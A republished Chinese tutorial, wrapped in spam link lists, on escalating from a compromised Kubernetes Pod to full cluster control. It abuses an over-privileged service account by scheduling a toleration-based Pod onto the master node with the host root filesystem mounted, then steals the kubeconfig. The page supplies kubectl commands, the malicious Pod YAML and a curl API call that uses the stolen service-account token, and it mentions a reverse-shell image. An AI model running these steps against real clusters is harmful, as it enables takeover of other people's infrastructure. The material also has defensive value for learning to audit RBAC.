当前位置: 首页 > news >正文

有什么可靠网站做建材代理的吗企业网站优化解决方案

有什么可靠网站做建材代理的吗,企业网站优化解决方案,网站付款接口这么做,最近国内疫情最新消息数据01、概述 Service Account本质是服务账号,是Pod连接K8s集群的凭证。在默认情况下,系统会为创建的Pod提供一个默认的Service Account,用户也可以自定义Service Account,与Service Account关联的凭证会自动挂载到Pod的文件系统中。 …

01、概述

Service Account本质是服务账号,是Pod连接K8s集群的凭证。在默认情况下,系统会为创建的Pod提供一个默认的Service Account,用户也可以自定义Service Account,与Service Account关联的凭证会自动挂载到Pod的文件系统中。

当攻击者通过某个web应用获取到一个Pod权限时,如果RBAC权限配置不当,Pod关联的Service Account拥有创建Pod的权限。攻击者就可以使用污点容忍的方式,将挂载根目录的恶意Pod调度到Master节点,获取Master 节点上的 kubeconfig 文件,从而直接接管整个集群。

02、攻击场景

(1)Service Account赋予bypass对test名称空间拥有管理员权限。

kubectl create serviceaccount bypass -n test
kubectl create rolebinding sa-admin --clusterrole=cluster-admin --serviceaccount=test:bypass -n test
kubectl get pod --as=system:serviceaccount:test:bypass

771f4fb9dcc10253417924d10a6c3f77.png

(2)在Pod中,使用自定义的Service Account。

9b2589f55e3915aa31624490b50a6590.png

# pod-sa.yaml
apiVersion: v1
kind: Pod
metadata:name: pod-sanamespace: test
spec:serviceAccountName: "bypass"containers:- name: ubuntuimage: ubuntu:20.04command: ['/bin/sh','-c','sleep 24h']

(3)在Pod创建时,Service Account关联的凭证,会挂载到 /var/run/secrets/kubernetes.io/serviceaccount/ 目录,其中ca.crt是证书、namespace是Pod所属的命名空间,token是访问API Server的令牌 。

0543edd9df5b19304f47388e3c1f4ee6.png

03、攻击过程

(1)攻击方式:kubectl 命令行操作

在Pod中,下载kubectl命令行工具,使用kubectl auth检查权限,拥有当前名称空间中所有执行操作的权限,这就具备了获取集群权限的条件。

bd6ac17a9a172294fa009f4ac0041236.png

编写一个yaml文件,将节点的根目录挂载到容器的/data 目录,使用污点容忍度创建恶意Pod来对Master节点进行横向控制。

如下图:将构建的Pod成功调度到Mater节点。

2b47bd452a2668a87403d68b718c962f.png

yaml文件内容:

apiVersion: v1
kind: Pod
metadata:name: pod1
spec:nodeSelector:node-role.kubernetes.io/master: ""tolerations:- key: "node-role.kubernetes.io/master"operator: "Exists"effect: NoSchedulecontainers:- image: nginx:1.20name: pod1volumeMounts:- mountPath: /dataname: datavolumes:- name: datahostPath:path: /

攻击者成功窃取 kubeconfig 文件,将获得对 Kubernetes 集群的完全控制权限,从而能够任意操控和管理整个集群。

f28a7e2acd1eb3c4f40c83464f1c37f5.png

(2)攻击方式:curl 命令操作

首先,创建一个包含恶意代码的镜像,用于反弹Shell,利用curl 命令操作 Kubernetes API创建Pod。

ca3df5f71a6da6d4db609b3765f388f1.png

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)用curl创建pod
curl -k --header "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/yaml' \
-s -w "状态码是:%{http_code}\n" \
-d "$(cat /tmp/111.yaml)" \https://10.96.0.1/api/v1/namespaces/test/pods/

远程监听端口来接收Master节点创建的Pod反弹的shell连接,成功获取到kubeconfig文件。

c4a5679a0c0f7b4294c5353574b06cc2.png

http://www.hengruixuexiao.com/news/20729.html

相关文章:

  • 做网站用什么开源程序站长工具箱
  • 在猪八戒做网站有保障吗优化大师win10下载
  • 推广网站发布文章第三方网络营销平台有哪些
  • 济南开发网站如何优化企业网站
  • 网站怎么做优化网络软文推广案例
  • 乐陵网站优化百度网站怎么优化排名靠前
  • 如何学好jsp网站开发色盲测试图
  • 网站的技术支持网站优化方案
  • 做同城网站赚钱百度怎么推广自己的视频
  • 域名注册好了怎么了做网站aso推广优化
  • 广州微信网站建设公司青岛百度代理公司
  • ui设计做网站青岛seo网站关键词优化
  • 帮人做网站被徐州派出所抓站长工具爱站
  • 没有网站怎么快速做cps合肥做网络推广的公司
  • 武汉网页设计制作培训多少钱百家号seo怎么做
  • 婚纱摄影网站毕业设计php2345网址导航官网官方电脑版
  • 开发公司 张庆seo站长教程
  • linux系统上的wordpressseo内部优化方案
  • 日照网站建设哪一家好重庆人力资源和社会保障网
  • 顺企网下载安装昆明网络推广优化
  • 网络公司网站建设彩铃样本运营和营销的区别和联系
  • wordpress 旅行主题武汉网站设计十年乐云seo
  • 苏州免费网站制作sem 优化软件
  • 家里做服务器开网站百度网址大全网址导航
  • 新疆电子商务平台网站开发企业网站制作多少钱
  • 网站增加关键词腾讯企点官网
  • 网站开发课程有哪些郑州网
  • 建设银行网站可以查保单吗数据分析师培训机构
  • 金融直播间网站建设关联词有哪些小学
  • 电脑个人网站怎么做手机免费建站app